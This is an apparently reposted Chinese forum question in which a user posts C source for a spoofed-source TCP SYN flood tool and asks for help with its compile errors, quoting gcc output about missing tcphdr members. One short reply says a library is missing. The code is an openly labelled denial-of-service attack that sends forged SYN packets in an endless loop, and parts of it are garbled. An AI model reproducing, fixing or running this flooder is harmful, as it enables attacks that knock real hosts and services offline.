当前位置:  技术问答>linux和unix

网络小程序编译出错,请高手指点

    来源: 互联网  发布时间:2015-09-22

    本文导语:  源代码如下: #include #include #include #include #include #include #include #include #include unsigned long srcport; /*定义一个伪装地址的结构*/ struct pseudohdr { struct in_addr saddr; struct in_addr daddr; u_char zero; u_char protocol; u_short length...

源代码如下:
#include
#include
#include
#include
#include
#include
#include
#include
#include

unsigned long srcport;

/*定义一个伪装地址的结构*/
struct pseudohdr
{
struct in_addr saddr;
struct in_addr daddr;
u_char zero;
u_char protocol;
u_short length;
struct tcphdr tcpheader;
};

u_short checksum(u_short * data,u_short length)
{
int nleft=length;
int sum=0;
unsigned short *w=data;
unsigned short value=0;

while(nleft>1){
sum+=*w++;
nleft-=2;
}

if(nleft==1){
*(unsigned char *)(&value)=*(unsigned char *)w;
sum+=value;
}

sum=(sum>>16)+(sum & 0xffff);
sum+=(sum>>16);
value=~sum;
return value;
}

int main(int argc ,char * argv[])
{
struct sockaddr_in sin;
struct sockaddr_in din;
struct hostent * hoste;
struct hostent * host1;
int j,sock,foo,flooddot=1;
char buffer[40];
struct ip* ipheader=(struct ip*) buffer;
struct tcphdr * tcpheader=(struct tcphdr*)(buffer+sizeof(struct ip));
struct pseudohdr pseudoheader;

  fprintf(stderr,"Syn attack against one port,(Infinite)n");
/*判断参数*/
if(argch_addr,&din.sin_addr,host1->h_length);
else if((din.sin_addr.s_addr=inet_addr(argv[3]))==-1)
{
fprintf(stderr,"unknown source host %sn",argv[3]);
return -1;
}

if((hoste=gethostbyname(argv[1]))!=NULL)
bcopy(hoste->h_addr,&sin.sin_addr,hoste->h_length);
else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)
{
fprintf(stderr,"unknown destination host %s.n",argv[1]);
return -1;
}

if((sin.sin_port=htons(atoi(argv[2])))==0)
{
fprintf(stderr,"unknown port %sn",argv[2]);
return -1;
}

/*以上语句是给sockaddr_in结构赋值,需要指明协议,端口号!*/
if((sock=socket(AF_INET,SOCK_RAW,255))==-1)
{
fprintf(stderr,"couldn't allocate raw socket!n");
return -1;
}

foo=1;
/*以下语句是为了重构报头*/
if(setsockopt(sock,0,IP_HDRINCL,(char *)&foo,sizeof(int))==-1)
{
fprintf(stderr,"couldn't set raw header on socket n");
return -1;
}

for(j=1;j>0;j++)
{
bzero(&buffer,sizeof(struct ip)+sizeof(struct tcphdr));
ipheader->ip_v=4;
ipheader->ip_tos=0;
ipheader->ip_hl=sizeof(struct ip)/4;
ipheader->ip_len=sizeof(struct ip)+sizeof(struct tcphdr);
ipheader->ip_id=htons(random());
ipheader->ip_ttl=30; /*255*/
ipheader->ip_p=IPPROTO_TCP;
ipheader->ip_sum=0;
ipheader->ip_src=/tech-qa-linux/din.sin_addr;_br/index.html> ipheader->ip_dst=sin.sin_addr;

tcpheader->th_sport=htons(srcport); /*sin.sin_port*/
tcpheader->th_dport=sin.sin_port;
tcpheader->th_seq=htonl(0x28374839);
tcpheader->th_flags=TH_SYN;
tcpheader->th_off=sizeof(struct tcphdr)/4;
tcpheader->th_win=htons(2048);
tcpheader->th_sum=0;

bzero(&pseudoheader,12+sizeof(struct tcphdr));
pseudoheader.saddr.s_addr=din.sin_addr.s_addr;
pseudoheader.daddr.s_addr=sin.sin_addr.s_addr;
pseudoheader.protocol=6;
pseudoheader.length=htons(sizeof(struct tcphdr));
tcpheader->th_sum=checksum((u_short *)&pseudoheader,12+sizeof(struct tcphdr));
/*以上为重构报头*/
/*改变端口*/
srcport=(10000.0*random()/(15000+1.0));
if(sendto(sock,buffer,sizeof(struct ip)+sizeof(struct tcphdr),0,(struct sockaddr *) &sin,sizeof(struct sockaddr_in))==-1)
/*攻击开始*/
{
fprintf(stderr,"couldn't send packet n",errno);
return -1;
}

usleep(2);
if(!(flooddot=(flooddot+1)%(1))){
fprintf(stdout,".");
fflush(stdout);
}
/*显示次数,将上面一句改成如下两句,增加显示效果,随便
* {
* fprintf(stdout,".%4d",j);
* fflush(stdout);
*  }
*  int k=j;if((K%10)==0) printf("n");
*/
} /*The end of the infinite loop */
close(sock);
return 0;
}
在红帽9中用gcc pnet.c -o pnet 编译,出错信息如下:
p.c: In function `main':
p.c:123: structure has no member named `th_sport'
p.c:124: structure has no member named `th_dport'
p.c:125: structure has no member named `th_seq'
p.c:126: structure has no member named `th_flags'
p.c:126: `TH_SYN' undeclared (first use in this function)
p.c:126: (Each undeclared identifier is reported only once
p.c:126: for each function it appears in.)
p.c:127: structure has no member named `th_off'
p.c:128: structure has no member named `th_win'
p.c:129: structure has no member named `th_sum'
p.c:136: structure has no member named `th_sum'
但是这些成员变量我都可以在#include中找到啊。请高手指点,非常感谢。

|
你编译的时候没带库吧

    
 
 
 
本站(WWW.)旨在分享和传播互联网科技相关的资讯和技术,将尽最大努力为读者提供更好的信息聚合和浏览方式。
本站(WWW.)站内文章除注明原创外,均为转载、整理或搜集自网络。欢迎任何形式的转载,转载请注明出处。












  • 相关文章推荐
  • 用java做网络编程和用c做网络编程有啥区别 iis7站长之家
  • 网络安全学习疑惑?请指点
  • 求高人指点,网络编程
  • 求指点,linux网络编程,socket一类的应该看点什么书呢?该怎么学?
  • red hat linux 9 无法激活网络设备,求高手指点!
  • 想通过自己动手学习Linux网络编程,做一个什么比较好呢?望有经验的高手指点~~
  • 请大家提供一些资料和指点迷津:关于linux ns网络仿真系统下的web缓存替换算法的资料,,谢谢!
  • 要写网络MP3 求简单指点
  • Linux 中c网络编程,accept函数的问题,请大家指点,谢谢
  • 想向linux方向的网络编程方面发展···请问应该具备什么知识啊?麻烦指点一下··
  • 请高手指点,关于linux系统网络收发性能的问题
  • 我是一位非计算机专业的研究生,想学习unix系统、网络管理员,并获得sun公司的认证证书,以后想从事unix环境下的开发工作,请各位指点一下,有没有可能?
  • UNIX环境网络编程的问题,迷茫~请有经验的高手指点~
  • Docker、Kubernetes、Neutron中的网络简介
  • 怎么用dos命令配置登陆网络,随便什么网络,举例就行~
  • 基于python实现的网络爬虫功能:自动抓取网页介绍
  • 系统网络问题之网络配置
  • 分布式CAP理论介绍:一致性(Consistency),可用性(Availability),容忍网络分区(Partition tolerance)
  • 网络爬虫/网络蜘蛛 larbin
  • 应对 Docker 网络功能难题的挑战与思考
  • 如何将运行dos的机子联入网络,或在dos下使用网络硬盘
  • Android及andriod无线网络Wifi开发的几点注意事项
  • linux不用命令方式读文件获取网络流量,如何使用C函数调用获取网络流量信息?
  • centos6网络配置及网卡设置相关命令及配置文件
  • 用java做网络编程和用c做网络编程有啥区别
  • Docker扁平化网络设计与实现
  • 急,请问如何修改网络接口eth为其它名称,如网络接口为abc0, abc1,要修改哪个配置文件?
  • IOS开发之socket网络编程(基于SimpleNetworkStreams的c/s程序)
  • 如何打开SUN工作站进入网络管理系统和退出网络管理系统,并关机。
  • Docker 四种网络模式及网络配置详细介绍
  • 请问unix网络编程和linux网络有什么区别


  • 站内导航:


    特别声明:169IT网站部分信息来自互联网,如果侵犯您的权利,请及时告知,本站将立即删除!

    ©2012-2021,,E-mail:www_#163.com(请将#改为@)

    浙ICP备11055608号-3